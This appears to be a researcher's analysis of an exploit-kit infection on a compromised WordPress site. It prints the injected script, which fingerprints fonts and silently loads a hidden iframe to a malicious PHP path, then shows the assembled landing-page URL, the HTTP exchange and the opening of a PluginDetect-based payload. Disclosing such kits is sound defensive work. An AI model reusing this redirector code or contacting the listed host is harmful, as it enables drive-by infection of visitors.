  591.     b = hh(b, c, d, a, k[14], 23, -35309556);
  592.     a = hh(a, b, c, d, k[1], 4, -1530992060);
  593.     d = hh(d, a, b, c, k[4], 11, 1272893353);
  594.     c = hh(c, d, a, b, k[7], 16, -155497632);
  595.     b = hh(b, c, d, a, k[10], 23, -1094730640);
  596.     a = hh(a, b, c, d, k[13], 4, 681279174);
  597.     d = hh(d, a, b, c, k[0], 11, -358537222);
  598.     c = hh(c, d, a, b, k[3], 16, -722521979);
  599.     b = hh(b, c, d, a, k[6], 23, 76029189);
  600.     a = hh(a, b, c, d, k[9], 4, -640364487);
  601.     d = hh(d, a, b, c, k[12], 11, -421815835);
  602.     c = hh(c, d, a, b, k[15], 16, 530742520);
  603.     b = hh(b, c, d, a, k[2], 23, -995338651);
  604.  
  605.     a = ii(a, b, c, d, k[0], 6, -198630844);
  606.     d = ii(d, a, b, c, k[7], 10, 1126891415);
  607.     c = ii(c, d, a, b, k[14], 15, -1416354905);
  608.     b = ii(b, c, d, a, k[5], 21, -57434055);
  609.     a = ii(a, b, c, d, k[12], 6, 1700485571);
  610.     d = ii(d, a, b, c, k[3], 10, -1894986606);
  611.     c = ii(c, d, a, b, k[10], 15, -1051523);
  612.     b = ii(b, c, d, a, k[1], 21, -2054922799);
  613.     a = ii(a, b, c, d, k[8], 6, 1873313359);
  614.     d = ii(d, a, b, c, k[15], 10, -30611744);
  615.     c = ii(c, d, a, b, k[6], 15, -1560198380);
  616.     b = ii(b, c, d, a, k[13], 21, 1309151649);
  617.     a = ii(a, b, c, d, k[4], 6, -145523070);
  618.     d = ii(d, a, b, c, k[11], 10, -1120210379);
  619.     c = ii(c, d, a, b, k[2], 15, 718787259);
  620.     b = ii(b, c, d, a, k[9], 21, -343485551);
  621.  
  622.     x[0] = add32(a, x[0]);
  623.     x[1] = add32(b, x[1]);
  624.     x[2] = add32(c, x[2]);
  625.     x[3] = add32(d, x[3]);
  626.  
  627. }
  628.  
  629. function cmn(q, a, b, x, s, t) {
  630.     a = add32(add32(a, q), add32(x, t));
  631.     return add32((a << s) | (a >>> (32 - s)), b);
  632. }
  633.  
  634. function ff(a, b, c, d, x, s, t) {
  635.     return cmn((b & c) | ((~b) & d), a, b, x, s, t);
  636. }
  637.  
  638. function gg(a, b, c, d, x, s, t) {
  639.     return cmn((b & d) | (c & (~d)), a, b, x, s, t);
  640. }
  641.  
  642. function hh(a, b, c, d, x, s, t) {
  643.     return cmn(b ^ c ^ d, a, b, x, s, t);
  644. }
  645.  
  646. function ii(a, b, c, d, x, s, t) {
  647.     return cmn(c ^ (b | (~d)), a, b, x, s, t);
  648. }
  649.  
  650. function md51(s) {
  651.     var n = s.length,
  652.             state = [1732584193, -271733879, -1732584194, 271733878], i;
  653.     for (i = 64; i <= s.length; i += 64) {
  654.         md5cycle(state, md5blk(s.substring(i - 64, i)));
  655.     }
  656.     s = s.substring(i - 64);
  657.     var tail = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
  658.     for (i = 0; i < s.length; i++)
  659.         tail[i >> 2] |= s.charCodeAt(i) << ((i % 4) << 3);
  660.     tail[i >> 2] |= 0x80 << ((i % 4) << 3);
  661.     if (i > 55) {
  662.         md5cycle(state, tail);
  663.         for (i = 0; i < 16; i++) tail[i] = 0;
  664.     }
  665.     tail[14] = n * 8;
  666.     md5cycle(state, tail);
  667.     return state;
  668. }
  669.  
  670. function md5blk(s) {
  671.     var md5blks = [], i;
  672.     for (i = 0; i < 64; i += 4) {
  673.         md5blks[i >> 2] = s.charCodeAt(i)
  674.                 + (s.charCodeAt(i + 1) << 8)
  675.                 + (s.charCodeAt(i + 2) << 16)
  676.                 + (s.charCodeAt(i + 3) << 24);
  677.     }
  678.     return md5blks;
  679. }
  680.  
  681. var hex_chr = '0123456789abcdef'.split('');
  682.  
  683. function rhex(n) {
  684.     var s = '', j = 0;
  685.     for (; j < 4; j++)
  686.         s += hex_chr[(n >> (j * 8 + 4)) & 0x0F]
  687.                 + hex_chr[(n >> (j * 8)) & 0x0F];
  688.     return s;
  689. }
  690.  
  691. function hex(x) {
  692.     for (var i = 0; i < x.length; i++)
  693.         x[i] = rhex(x[i]);
  694.     return x.join('');
  695. }
  696.  
  697. function md5(s) {
  698.     return hex(md51(s));
  699. }
  700.  
  701. function add32(a, b) {
  702.     return (a + b) & 0xFFFFFFFF;
  703. }
  704.  
  705. if (md5('hello') != '5d41402abc4b2a76b9719d911017c592') {
  706.     function add32(x, y) {
  707.         var lsw = (x & 0xFFFF) + (y & 0xFFFF),
  708.                 msw = (x >> 16) + (y >> 16) + (lsw >> 16);
  709.         return (msw << 16) | (lsw & 0xFFFF);
  710.     }
  711. }
  712.  
  713. var Detector = function () {
  714.     var baseFonts = ['monospace', 'sans-serif', 'serif'];
  715.     var testString = "wwwmmmmmmmmmmlli";
  716.     var testSize = '72px';
  717.     var h = document.getElementsByTagName("body")[0];
  718.     var s = document.createElement("span");
  719.     s.style.fontSize = testSize;
  720.     s.style.visibility = "hidden";
  721.     s.innerHTML = testString;
  722.     var defaultWidth = {};
  723.     var defaultHeight = {};
  724.     for (var index in baseFonts) {
  725.         s.style.fontFamily = baseFonts[index] + ",'3x3'";
  726.         h.appendChild(s);
  727.         defaultWidth[baseFonts[index]] = s.offsetWidth;
  728.         defaultHeight[baseFonts[index]] = s.offsetHeight;
  729.         h.removeChild(s);
  730.     }
  731.  
  732.     function detect(font) {
  733.         var detected = false;
  734.         for (var index in baseFonts) {
  735.             s.style.fontFamily = ("'" + font + "'," + baseFonts[index]);
  736.             h.appendChild(s);
  737.             var matched = (s.offsetWidth != defaultWidth[baseFonts[index]] || s.offsetHeight != defaultHeight[baseFonts[index]]);
  738.             h.removeChild(s);
  739.             detected = detected || matched;
  740.         }
  741.         return detected;
  742.     }
  743.  
  744.     this.detect = detect;
  745. };
  746.  
  747. function getFonts() {
  748.     var nFonts = document.getElementById("dlgHelper"),
  749.             sHasFonts = "", numFonts = 0;
  750.  
  751.     if (typeof(nFonts.fonts) != 'object') {
  752.  
  753.         var checkFonts = ['3x3', '8514oem', 'AMS Euler', 'Abracadabra', 'Ad Lib', 'Adobe Jenson', 'Adobe Minion Cyrillic', 'Adobe Poetica', 'Adobe Text', 'Agency FB', 'Aharoni', 'Aisha', 'Akzidenz Grotesk', 'Albertus', 'Aldhabi', 'Aldus', 'Alexandria', 'Algerian', 'Allegro', 'Alpha Geometrique', 'Alphabetum', 'Amazone', 'American Text', 'American Typewriter', 'Amienne', 'Andalus', 'Andreas', 'Angsana New', 'AngsanaUPC', 'Anonymous', 'Anonymous Pro', 'Antiqua', 'Aparajita', 'Apex', 'Apple Chancery', 'Aptifer', 'Aquiline', 'Arabic Typesetting', 'Archer', 'Arial', 'Arial Black', 'Arial Hebrew', 'Arial Monospaced', 'Arial Narrow', 'Arial Rounded MT Bold', 'Arial Unicode MS', 'Aristocrat', 'Arno', 'Arnold Bテカcklin', 'Arnprior', 'Ashley Inline', 'Ashley Script', 'Aster', 'Astur', 'Athens', 'Attika', 'Aurora', 'Avant Garde Gothic', 'Avenir', 'Bagel', 'Balloon Pop Outlaw Black', 'Banco', 'Bank Gothic', 'Barmeno', 'Baskerville', 'Baskerville Old Face', 'Bastion', 'Batak Script', 'Batang', 'BatangChe', 'Bauer Bodoni', 'Bauhaus', 'Bauhaus 93', 'Baveuse', 'Beat', 'Bell', 'Bell Centennial', 'Bell Gothic', 'Bell MT', 'Bella Donna', 'Bembo', 'Bembo Schoolbook', 'Benguiat', 'Benguiat Gothic', 'Berkeley Old Style', 'Berlin Sans', 'Berlin Sans FB', 'Berlin Sans FB Demi', 'Bernard MT Condensed', 'Bernhard Modern', 'Berylium', 'Beteckna', 'Bickley Script', 'Biondi', 'Bitstream Cyberbit', 'Bitstream Vera', 'Blackadder ITC', 'Blue Highway', 'Blue Highway Condensed', 'Blue Highway D Type', 'Blue Highway Linocut', 'Bodoni', 'Bodoni MT', 'Bodoni MT Black', 'Bodoni MT Condensed', 'Bodoni MT Poster Compressed', 'Book Antiqua', 'Bookman', 'Bookman Old Style', 'Bookshelf Symbol 7', 'Boopee', 'Bordeaux Roman', 'Bradley Hand ITC', 'Braggadocio', 'Braille', 'Brandon Grotesque', 'Britannic Bold', 'Broadway', 'Browallia New', 'BrowalliaUPC', 'Brush Script', 'Brush Script MT', 'Burnstown Dam', 'Byington', 'CJK glyphs', 'Cabin', 'Cafeteria', 'Caflisch Script', 'Calibri', 'Calibri Light', 'Californian FB', 'Calisto', 'Calisto MT', 'Cambria', 'Cambria Math', 'Candara', 'Capitals', 'Carbon Block', 'Cartier', 'Caslon', 'Caslon Antique', 'Castellar', 'CatholicSchoolGirls Intl BB', 'Catriel', 'Catull', 'Centaur', 'Century', 'Century Gothic', 'Century Old Style', 'Century Schoolbook', 'Century Schoolbook Infant', 'Chalkboard', 'Chandas', 'Chaparral', 'Charcoal', 'Charis SIL', 'Cheltenham', 'Chicago', 'Chiller', 'Choc', 'Cholla Slab', 'Cinderella', 'City', 'Civitype', 'Clarendon', 'Clearface', 'Clearface Gothic', 'ClearlyU', 'Clearview', 'Cloister Black', 'Co Headline', 'Co Text', 'Cochin', 'Code2000', 'Code2001', 'Code2002', 'Codex', 'Colonna', 'Colonna MT', 'Comic Sans', 'Comic Sans MS', 'Commercial Pi', 'Compacta', 'Computer Modern', 'Concrete Roman', 'Consolas', 'Constantia', 'Continuum Medium', 'Cooper Black', 'Copperplate Gothic Bold', 'Copperplate Gothic Light', 'Corbel', 'Cordia New', 'CordiaUPC', 'Corel', 'Corona', 'Corsiva', 'Cottonwood', 'Courier', 'Courier New', 'CourierHP', 'CourierPS', 'Credit Valley', 'Critter', 'Cupola', 'Curlz', 'Curlz MT', 'Cyberbit', 'Cyrillic', 'Cテゥzanne', 'DFKai-SB', 'DaunPenh', 'David', 'Dax', 'DecoType Naskh', 'DejaVu Sans', 'DejaVu Sans Mono', 'DejaVu Serif', 'DejaVu fonts', 'Denmark', 'DilleniaUPC', 'Divona', 'DokChampa', 'Dom Casual', 'Dotum', 'DotumChe', 'Doulos SIL', 'Dragonwick', 'Droid', 'Droid Sans Mono', 'Dyslexie', 'ER Architekt', 'ER Bukinist', 'ER Kurier', 'ER Univers', 'Earwig Factory', 'Ebrima', 'Ecofont', 'Ecotype', 'Edwardian Script', 'Edwardian Script ITC', 'Egyptienne', 'Elephant', 'Ellington', 'Engravers MT', 'Eras', 'Eras Bold ITC', 'Eras Demi ITC', 'Eras Light ITC', 'Eras Medium ITC', 'Erler Dingbats', 'Espy Sans', 'Espy Serif', 'Estrangelo Edessa', 'EucrosiaUPC', 'Euphemia', 'Euphorigenic S', 'Eurocrat', 'Eurostile', 'Everson Mono', 'Everson Mono Unicode', 'Ex Ponto', 'Exablock', 'Excelsior', 'Excelsior Cyrillic Upright', 'Exocet', 'FB Reactor', 'FF Meta', 'FF Scala', 'FF Scala Sans', 'FIG Script', 'Fairfield', 'FangSong', 'Fedra Mono', 'Felix Titling', 'Fifteenth Century', 'Fixed', 'Fixedsys', 'Fixedsys Excelsior', 'Flama', 'Fontcraft Courier', 'Fontoon', 'Footlight', 'Footlight MT Light', 'Formata', 'Forte', 'Fraktur', 'FrankRuehl', 'Franklin Gothic', 'Franklin Gothic Book', 'Franklin Gothic Demi', 'Franklin Gothic Demi Cond', 'Franklin Gothic Heavy', 'Franklin Gothic Medium', 'Franklin Gothic Medium Cond', 'Free UCS Outline Fonts', 'FreeSans', 'FreeSerif', 'FreesiaUPC', 'Freestyle Script', 'French Script', 'French Script MT', 'Friz Quadrata', 'Frutiger', 'Frutiger Next', 'Futo Min A101', 'Futura', 'GNU Unifont', 'Gabriola', 'Gadugi', 'Garamond', 'Gautami', 'Geneva', 'Gentium', 'Georgia', 'Georgia Ref', 'Gigi', 'Gill Sans', 'Gill Sans MT', 'Gill Sans MT Condensed', 'Gill Sans MT Ext Condensed Bold', 'Gill Sans Schoolbook', 'Gill Sans Ultra Bold', 'Gill Sans Ultra Bold Condensed', 'Gisha', 'Gloucester', 'Gloucester MT Extra Condensed', 'Gotham', 'Gothic font', 'Goudy', 'Goudy Old Style', 'Goudy Pro Font', 'Goudy Schoolbook', 'Goudy Stout', 'Goudy Text', 'Grad', 'Granjon', 'Grasset typeface', 'Guardian Egyptian', 'Gulim', 'GulimChe', 'Gungsuh', 'GungsuhChe', 'HM Phonetic', 'Haettenschweiler', 'Hanacaraka', 'Handel Gothic', 'Harlow Solid', 'Harlow Solid Italic', 'Harrington', 'Heather', 'Heavy Heap', 'Hei', 'Heisei Kaku Gothic W5', 'Helvetica', 'Helvetica Cyrillic', 'Helvetica Greek', 'Helvetica Neue', 'Hercules', 'High Tower Text', 'Highway Gothic', 'Hiroshige', 'Hiroshige Sans', 'Hobo', 'Hoefler Text', 'Horizon', 'Humana Serif', 'Hurry Up', 'Huxtable', 'HyperFont', 'ITC Avant Garde Gothic', 'ITC Stone Sans', 'ITC Stone Serif', 'Impact', 'Imprint', 'Imprint MT Shadow', 'Inconsolata', 'Industria', 'Informal Roman', 'Interstate', 'Ionic No. 5', 'IrisUPC', 'Irregularis', 'Iskoola Pota', 'Janson', 'Japanese Gothic', 'JasmineUPC', 'Jefferson', 'Jenson', 'Jim Crow', 'Joanna', 'Johnston', 'Jokerman', 'Jomolhari', 'Juice', 'Juice ITC', 'Junicode', 'Kabel', 'Kahana', 'Kai', 'KaiTi', 'Kalinga', 'Kartika', 'Khmer UI', 'Kochi', 'KodchiangUPC', 'Kokila', 'Korinna', 'Kredit', 'Kristen', 'Kristen ITC', 'Kuenstler Script', 'Kunstler Script', 'Kursivschrift', 'Kyokasho ICA', 'LED', 'Lao UI', 'LastResort', 'Latha', 'Lato', 'Leelawadee', 'Legacy Sans', 'Legacy Serif', 'Letter Gothic', 'Levenim MT', 'Lexia', 'Lexia Readable', 'Lexicon', 'Liberation Mono', 'Liberation Sans', 'Liberation Serif', 'Ligurino', 'Ligurino Condensed', 'LilyUPC', 'Linux Libertine', 'Literaturnaya', 'Lithos', 'Lo Cicero Cherokee', 'Lo-Type', 'Lontara Script', 'Lucida Blackletter', 'Lucida Bright', 'Lucida Calligraphy', 'Lucida Console', 'Lucida Fax', 'Lucida Grande', 'Lucida Handwriting', 'Lucida Math', 'Lucida Sans', 'Lucida Sans Typewriter', 'Lucida Sans Unicode', 'Lucida Typewriter', 'MICR', 'MS Arial', 'MS Courier New', 'MS Georgia', 'MS Gothic', 'MS Gothic, MS PGothic', 'MS Mincho', 'MS Mincho, MS PMincho', 'MS Outlook', 'MS PGothic', 'MS PMincho', 'MS Reference Sans Serif', 'MS Reference Specialty', 'MS Sans Serif', 'MS Serif', 'MS Tahoma', 'MS Trebuchet', 'MS UI Gothic', 'MS Verdana', 'MT Extra', 'MV Boli', 'Magneto', 'Magnificat', 'Maiandra GD', 'Maiola', 'Malgun Gothic', 'Mangal', 'Marlett', 'Mathematical Pi', 'Matura MT Script Capitals', 'Megadeth', 'Meiryo', 'Meiryo UI', 'Melior', 'Memphis', 'Menlo', 'Microgramma', 'Microsoft Himalaya', 'Microsoft JhengHei', 'Microsoft JhengHei UI', 'Microsoft New Tai Lue', 'Microsoft PhagsPa', 'Microsoft Sans Serif', 'Microsoft Tai Le', 'Microsoft Uighur', 'Microsoft YaHei', 'Microsoft YaHei UI', 'Microsoft Yi Baiti', 'Miller', 'Minchナ・, 'MingLiU', 'MingLiU, PMingLiU', 'MingLiU-ExtB', 'MingLiU-ExtB, PMingLiU-ExtB', 'MingLiU_HKSCS', 'MingLiU_HKSCS-ExtB', 'Minion', 'Minion Web', 'Minya Nouvelle', 'Miriam', 'Miriam Fixed', 'Mistral', 'Modern', 'Modern No. 20', 'Mona', 'Mona Lisa', 'Monaco', 'Mongolian Baiti', 'Monofur', 'Monospace', 'Monotype Albion 70', 'Monotype Corsiva', 'Monotype Gill Sans 571', 'Monotype Urdu 507', 'MoolBoran', 'Morse Code', 'Motorway', 'Mrs Eaves', 'Mufferaw', 'Museo Sans', 'Museo Slab', 'Myanmar Text', 'Myriad', 'NPS Rawlinson Roadway', 'NSimSun', 'Narkisim', 'Nassim', 'Nastaliq Navees', 'Neacademia', 'Neuland', 'Neuropol', 'Neutraface', 'Neuzeit S', 'New Century Schoolbook', 'New Gulim and Dotum', 'New Johnston', 'New Peninim', 'New York', 'News 701', 'News 702', 'News 705', 'News 706', 'News Gothic', 'Niagara Engraved', 'Niagara Solid', 'Nilland', 'Nimbus Mono L', 'Nimbus Roman', 'Nimbus Sans L', 'Nina', 'Nirmala UI', 'Nu Sans', 'Nyala', 'OCR A Extended', 'OCR-A', 'OCR-B', 'Old English Text', 'Old English Text MT', 'Onyx', 'OpenSymbol', 'Optima', 'Orator', 'Ormaxx', 'Osaka Monospaced', 'PMingLiU', 'PMingLiU-ExtB', 'PT Sans', 'Palace Script', 'Palace Script MT', 'Palatino', 'Palatino Linotype', 'Papyrus', 'Parchment', 'Parisine', 'Park Avenue', 'Peignot', 'Perpetua', 'Perpetua Greek', 'Perpetua Titling MT', 'Planet Benson 2', 'Plantagenet Cherokee', 'Plantin', 'Plantin Schoolbook', 'Playbill', 'Poor Richard', 'Portobello', 'PragmataPro', 'Prestige', 'Prestige Elite', 'Pricedown', 'Prima Sans', 'Pristina', 'ProFont', 'Proggy Programming Fonts', 'Pupcat', 'Pythagoras', 'Raanana', 'Raavi', 'Rage Italic', 'Rail Alphabet', 'Ravie', 'Rawlinson Roadway', 'Renault', 'Requiem', 'Revue', 'RichStyle', 'Rockwell', 'Rockwell Condensed', 'Rockwell Extra Bold', 'Rod', 'Roman', 'Rotis Sans', 'Rotis Semi Serif', 'Rotis Serif', 'Rufscript', 'Ryumin Light-KL', 'STIX', 'Sabon', 'Sakkal Majalla', 'San Francisco', 'Sanvito', 'Scala', 'Scala Sans', 'Scribble', 'Script', 'Script MT Bold', 'Scriptina', 'Seagull', 'Segoe Print', 'Segoe Script', 'Segoe UI', 'Segoe UI Light', 'Segoe UI Semibold', 'Segoe UI Symbol', 'Segoe UI v5.00', 'Segoe UI v5.00 (top) and v5.27 (bottom)', 'Segoe UI v5.01', 'Segoe UI v5.27', 'Shelley Volante', 'Shin Go', 'Shonar Bangla', 'Showcard Gothic', 'Shruti', 'SimHei', 'SimKai', 'SimSun', 'SimSun-ExtB', 'Simplified Arabic', 'Simplified Arabic Fixed', 'Sistina', 'Skeleton Antique', 'Skia', 'Skolar', 'Skolar Devanagari', 'Small Fonts', 'Snap', 'Snap ITC', 'Snell Roundhand', 'Soupbone', 'Souvenir', 'Souvenir Gothic', 'Square 721', 'Stencil', 'Stereofidelic', 'Stone Informal', 'Stone Sans', 'Stone Serif', 'Studz', 'Sundanese Unicode', 'Sutturah', 'Swiss 721', 'Sybil Green', 'Sydnie', 'Sylfaen', 'Symbol', 'SymbolPS', 'Symbola', 'Syntax', 'System', 'Tahoma', 'Tai Le Valentinium', 'Talmud', 'Tandelle', 'Teen', 'Teen Light', 'TektonAlecko', 'Tema Cantante', 'Tema CantanteAndale Mono', 'Tempus Sans', 'Tempus Sans ITC', 'Tengwar', 'Terminal', 'Terminus', 'Tex Gyre Cursor', 'Tibetan Machine Uni', 'Times', 'Times New Roman', 'Tiresias', 'Titus Cyberbit Basic', 'TowerAbadi', 'Trade Gothic', 'Traditional Arabic', 'Trajan', 'Transport', 'Trebuchet', 'Trebuchet MS', 'Trinitテゥ', 'Trump Gothic', 'Trump Mediaeval', 'Tunga', 'Tw Cen', 'Tw Cen MT', 'Tw Cen MT Condensed', 'Tw Cen MT Condensed Extra Bold', 'Twentieth Century', 'Typiko New Era', 'UM Typewriter', 'URW++ Nimbus Sans Global', 'Ubuntu', 'Ubuntu Mono', 'Umbra', 'Unicode fallback font', 'Univers', 'Urdu Typesetting', 'Utopia', 'Utsaah', 'Vale Type', 'Vani', 'Velvenda Cooler', 'Vera Sans', 'Vera Sans Mono', 'Vera Serif', 'Verdana', 'Verdana Ref', 'Versailles', 'Vijaya', 'Viner Hand ITC', 'VirtueAmsterdam Old Style', 'Vivaldi', 'Vladimir Script', 'Vrinda', 'Wadalab', 'Waker', 'Wanted', 'Webdings', 'Wedding TextAegyptus', 'Weiss', 'Westminster', 'Wickenden Cafe NDP', 'Wide Latin', 'William MonospaceBalloon', 'Willow', 'Windsor', 'Wingdings', 'Wingdings 2', 'Wingdings 3', 'Wyld', 'XITS', 'XITSAlexandria', 'Y.OzFontN', 'Zapf Chancery', 'Zapf Dingbats', 'Zapf-Chancery', 'Zapfino', 'Zurich'],
  754.                baseFonts = ['monospace', 'sans-serif', 'serif'];
  755.  
  756.        var out = "", det = new Detector();
  757.        for (var i in checkFonts) {
  758.            if (det.detect(checkFonts[i])) {
  759.                sHasFonts += checkFonts[i];
  760.                numFonts++;
  761.            }
  762.        }
  763.    }
  764.    else {
  765.        var nFontLen = nFonts.fonts.count;
  766.        for (i = 1; i < nFontLen + 1; i++) {
  767.            sHasFonts += nFonts.fonts(i);
  768.            numFonts++;
  769.        }
  770.    }
  771.  
  772.    //return numFonts + ":" + md5(sHasFonts);
  773.    var nIF = document.createElement("iframe");
  774.    nIF.width = 1;
  775.    nIF.height = 1;
  776.    nIF.style.visibility = 'hidden';
  777.    nIF.src = "/wp-includes/pomo/dtsrc.php?a=h1&f=" + md5(sHasFonts) + (typeof encodeURIComponent != 'undefined' ? "&u=" + encodeURIComponent(window.navigator['userAgent']) : (typeof escape != 'undefined' ? "&u=" + escape(window.navigator['userAgent']) : window.navigator['userAgent'].replace(/(\t|\n|&|\?|)/g, " ") ));
  778.    document.getElementsByTagName("body")[0].appendChild(nIF);
  779. }
  780.  
  781. if (typeof(window.addEventListener) == 'undefined') {
  782.    window.onload = getFonts;
  783. } else {
  784.    window.addEventListener("load", getFonts);
  785. }
  786.  
  787. </script>
  788. </head>
  789. <body>
  790. <OBJECT id="dlgHelper" CLASSID="clsid:3050f819-98b5-11cf-bb82-00aa00bdce0b" width="0px" height="0px"></OBJECT>
  791. </body>
  792. </html>
  793.  
  794.  
  795. // unixfreaxjp:
  796. // skipped the exploit part, and
  797. // see the below payload link to get the landing page....
  798. //
  799.  
  800.    nIF.src = "/wp-includes/pomo/dtsrc.php?a=h1&f="
  801.              + md5(sHasFonts)
  802.              + (typeof encodeURIComponent != 'undefined' ? "&u=" + encodeURIComponent(window.navigator['userAgent']) : (typeof escape != 'undefined' ? "&u=" + escape(window.navigator['userAgent']) : window.navigator['userAgent'].replace(/(\t|\n|&|\?|)/g, " ") ));
  803.  
  804. // unixfreaxjp:
  805. // forming conditions:
  806. // pick any flavor of font provided and fire it up w/MD5
  807.  
  808. $ echo Hercules|md5
  809. 51d0f9f5d6d2c5ff3ade4b38bb7c1ceb
  810.  
  811. // unixfreaxjp:
  812. // more conditions (pickone)
  813.  
  814. (typeof encodeURIComponent != 'undefined' ? "&u=" + encodeURIComponent(window.navigator['userAgent']) :
  815. (typeof escape             != 'undefined' ? "&u=" + escape(window.navigator['userAgent']) :
  816.  
  817. // unixfreaxjp:
  818. // And do ---> .replace(/(\t|\n|&|\?|)/g, " ") in the end. (replace strange chars wif space.. mostly unnecessary..)
  819.  
  820. // unixfreaxjp:
  821. // assembled it, the result must've been a long dull URL
  822. // this E Kit is expected
  823.  
  824. h00p://mahsms.ir/wp-includes/pomo/dtsrc.php?a=h1&f=51d0f9f5d6d2c5ff3ade4b38bb7c1ceb&u=Mozilla%2F5.0%20(Windows%3B%20U%3B%20MSIE%207.0%3B%20Windows%20NT%205.2)%20Java%2F1.5.0_08
  825.  
  826.  
  827. // Bingo.. Got the landing page!
  828.  
  829. ---request begin---
  830. GET /wp-includes/pomo/dtsrc.php?a=h1&f=51d0f9f5d6d2c5ff3ade4b38bb7c1ceb&u=Mozilla%2F5.0%20(Windows%3B%20U%3B%20MSIE%207.0%3B%20Windows%20NT%205.2)%20Java%2F1.5.0_08 HTTP/1.1
  831. Referer: http://www.google.com
  832. User-Agent: Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Java/1.5.0_08
  833. Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
  834. Host: mahsms.ir
  835. Connection: Keep-Alive
  836. Accept-Language: en-us,en;q=0.5
  837. Accept-Encoding: gzip,deflate
  838. Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  839. Keep-Alive: 300
  840. HTTP request sent, awaiting response...
  841.  
  842. ---response begin---
  843. HTTP/1.1 200 OK
  844. Content-Encoding: gzip
  845. Vary: Accept-Encoding
  846. Date: Tue, 11 Mar 2014 02:08:04 GMT
  847. Server: LiteSpeed
  848. Connection: close
  849. X-Powered-By: PHP/5.2.17
  850. Content-Type: text/html
  851.  
  852. // unixfreaxjp:
  853. // yes we got it; but remember, you get it only ONE TIME.. you may fail..change IP!!
  854. // remember to trail your reff
  855.  
  856. -rwxr--r--  1 14535 Mar 11 11:07 payload.gz*
  857.  
  858. $ cp payload.gz payload-bak.gz
  859. $ gunzip payload.gz
  860.  
  861. // unixfreaxjp:
  862. // HELLO PLUGIN DETECT! LONG TIME NO SEE! YOU GREW TALLER (IN VER)! :-)
  863.  
  864. $ cat payload
  865. <html><head></head><body><script type='text/javascript'>/*PluginDetect v0.8.3www.pinlady.net/PluginDetect/license/[ getVersion hasMimeType onDetectionDone ][ Java AdobeReader ]*/var PluginDetect={version:"0.8.3",name:"PluginDetect",openTag:"<",isDefined:function(b){return typeof b!="undefined"},isArray:function(b){return(/array/i).test(Object.prototype.toString.call(b))},isFunc:function(b){return typeof b=="function"},isString:function(b){return typeof b=="string"},isNum:function(b){return typeof b=="number"},isStrNum:function(b){return(typeof b=="string"&&(/\d/).test(b))},getNumRegx:/[\d][\d\.\_,\-]*/,splitNumRegx:/[\.\_,\-]/g,getNum:function(b,c){var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null;return a?a[0]:null},compareNums:function(h,f,d){var e=this,c,b,a,g=parseInt;if(e.isStrNum(h)&&e.isStrNum(f)){if(e.isDefined(d)&&d.compareNums){return d.compareNums(h,f)}c=h.split(e.splitNumRegx);b=f.split(e.splitNumRegx);for(a=0;a<Math.min(c.length,b.length);a++){if(g(c[a],10)>g(b[a],10)){return 1}if(g(c[a],10)<g(b[a],10)){return -1}}}return 0},formatNum:function(b,c){var d=this,a,e;if(!d.isStrNum(b)){return null}if(!d.isNum(c)){c=4}c--;e=b.replace(/\s/g,"").split(d.splitNumRegx).concat(["0","0","0","0"]);for(a=0;a<4;a++){if(/^(0+)(.+)$/.test(e[a])){e[a]=RegExp.$2}if(a>c||!(/\d/).test(e[a])){e[a]="0"}}return e.slice(0,4).join(",")},getPROP:function(d,b,a){var c;try{if(d){a=d[b]}}catch(c){}return a},findNavPlugin:function(l,e,c){var j=this,h=new RegExp(l,"i"),d=(!j.isDefined(e)||e)?/\d/:0,k=c?new RegExp(c,"i"):0,a=navigator.plugins,g="",f,b,m;for(f=0;f<a.length;f++){m=a[f].description||g;b=a[f].name||g;if((h.test(m)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))||(h.test(b)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))){if(!k||!(k.test(m)||k.test(b))){return a[f]}}}return null},getMimeEnabledPlugin:function(k,m,c){var e=this,f,b=new RegExp(m,"i"),h="",g=c?new RegExp(c,"i"):0,a,l,d,j=e.isString(k)?[k]:k;for(d=0;d<j.length;d++){if((f=e.hasMimeType(j[d]))&&(f=f.enabledPlugin)){l=f.description||h;a=f.name||h;if(b.test(l)||b.test(a)){if(!g||!(g.test(l)||g.test(a))){return f}}}}return 0},getVersionDelimiter:",",findPlugin:function(d){var c=this,b,d,a={status:-3,plugin:0};if(c.DOM){c.DOM.initDiv()}if(!c.isString(d)){return a}if(d.length==1){c.getVersionDelimiter=d;return a}d=d.toLowerCase().replace(/\s/g,"");b=c.Plugins[d];if(!b||!b.getVersion){return a}a.plugin=b;a.status=1;return a},getPluginFileVersion:function(f,b){var h=this,e,d,g,a,c=-1;if(h.OS>2||!f||!f.version||!(e=h.getNum(f.version))){return b}if(!b){return e}e=h.formatNum(e);b=h.formatNum(b);d=b.split(h.splitNumRegx);g=e.split(h.splitNumRegx);for(a=0;a<d.length;a++){if(c>-1&&a>c&&d[a]!="0"){return b}if(g[a]!=d[a]){if(c==-1){c=a}if(d[a]!="0"){return b}}}return e},AXO:window.ActiveXObject,getAXO:function(a){var d=null,c,b=this;try{d=new b.AXO(a)}catch(c){};return d},INIT:function(){this.init.library(this)},init:{$:1,hasRun:0,objProperties:function(d,e,b){var a,c={};if(e&&b){if(e[b[0]]===1&&!d.isArray(e)&&!d.isFunc(e)&&!d.isString(e)&&!d.isNum(e)){for(a=0;a<b.length;a=a+2){e[b[a]]=b[a+1];c[b[a]]=1}}for(a in e){if(!c[a]&&e[a]&&e[a][b[0]]===1){this.objProperties(d,e[a],b)}}}},publicMethods:function(c,f){var g=this,b=g.$,a,d;if(c&&f){for(a in c){try{if(b.isFunc(c[a])){f[a]=c[a](f)}}catch(d){}}}},plugin:function(a,c){var d=this,b=d.$;if(a){d.objProperties(b,a,["$",b,"$$",a]);if(!b.isDefined(a.getVersionDone)){a.installed=null;a.version=null;a.version0=null;a.getVersionDone=null;a.pluginName=c}}},detectIE:function(){var 